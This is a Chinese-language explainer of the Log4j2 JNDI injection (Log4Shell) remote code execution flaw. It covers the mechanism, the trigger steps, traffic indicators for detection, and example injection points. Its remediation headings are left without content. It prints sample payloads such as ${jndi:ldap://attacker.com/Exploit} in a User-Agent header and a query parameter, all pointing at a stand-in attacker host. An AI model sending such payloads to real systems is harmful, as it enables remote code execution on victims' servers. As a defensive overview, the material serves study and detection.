Log4j2 漏洞概述
Log4j2 是 Apache 软件基金会开发的一个日志框架,广泛用于 Java 应用中记录运行时日志。漏洞主要源于 Log4j2 的日志处理功能中,某些特性(如 JNDI 注入)被攻击者滥用,从而引发严重的远程代码执行(RCE)漏洞。
漏洞原理
Apache Log4j2 的 JNDI Lookup 功能允许通过日志消息中的 JNDI 名称引用外部资源。攻击者可以构造包含恶意 JNDI 名称的日志消息,通过网络发送给受影响的应用程序。当 Log4j2 解析日志消息时,会尝试加载远程恶意脚本,从而RCE漏洞产生
JNDI 注入
- JNDI(Java Naming and Directory Interface) 是 Java 提供的一种目录服务 API,用于查找和加载资源或对象。
- Log4j2 在日志功能中支持动态解析类似
${}
的占位符字符串,提供了强大的灵活性。 - 当日志字符串中包含
${jndi:ldap://malicious-server}
时,Log4j2 会尝试通过 JNDI 去远程加载资源。如果目标是攻击者控制的恶意 LDAP 服务器,则攻击者可以返回恶意的 Java 类字节码,导致远程代码执行。
漏洞触发过程
-
攻击者构造一个恶意日志字符串,例如:
${jndi:ldap://attacker.com/Exploit}
-
该字符串被传递到应用程序的日志处理逻辑(例如
logger.info()
)。 -
Log4j2 解析日志字符串中的 JNDI 表达式,尝试通过 LDAP 或其他协议加载远程对象。
-
如果恶意服务器返回一个恶意 Java 类文件,Log4j2 会加载并执行该类的字节码,触发 RCE。
流量特征
-
请求头中的useragent头或者是referer或含有包含
${jndi:...}
的形式,后续跟上攻击者控制的远程服务器地址,还有一些协议协议关键字,例如ldap:// , rmi:// , dns:// -
HTTP请求中包含特定的User-Agent头,如“ Log4j2”或“ Log4jAPI/2.0.8”等,可能还有有一些恶意的密文
-
攻击成功后可能会有,“JNDI lookup successful”,
${env:os.name}
、${env:hostname}
等动态信息
漏洞利用方式
常见的攻击场景
-
通过 HTTP 请求头:
攻击者将恶意字符串注入到 HTTP 请求头(如User-Agent
、Referer
)中。例如:GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://attacker.com/Exploit}
-
通过 HTTP 请求参数:
恶意字符串被注入到 URL 参数中。例如:http://victim.com/search?query=${jndi:ldap://attacker.com/Exploit}
漏洞修复
- 升级 Log4j2 版本:
- 禁用 JNDI 功能:
- 移除
JndiLookup
类: - 升级依赖软件: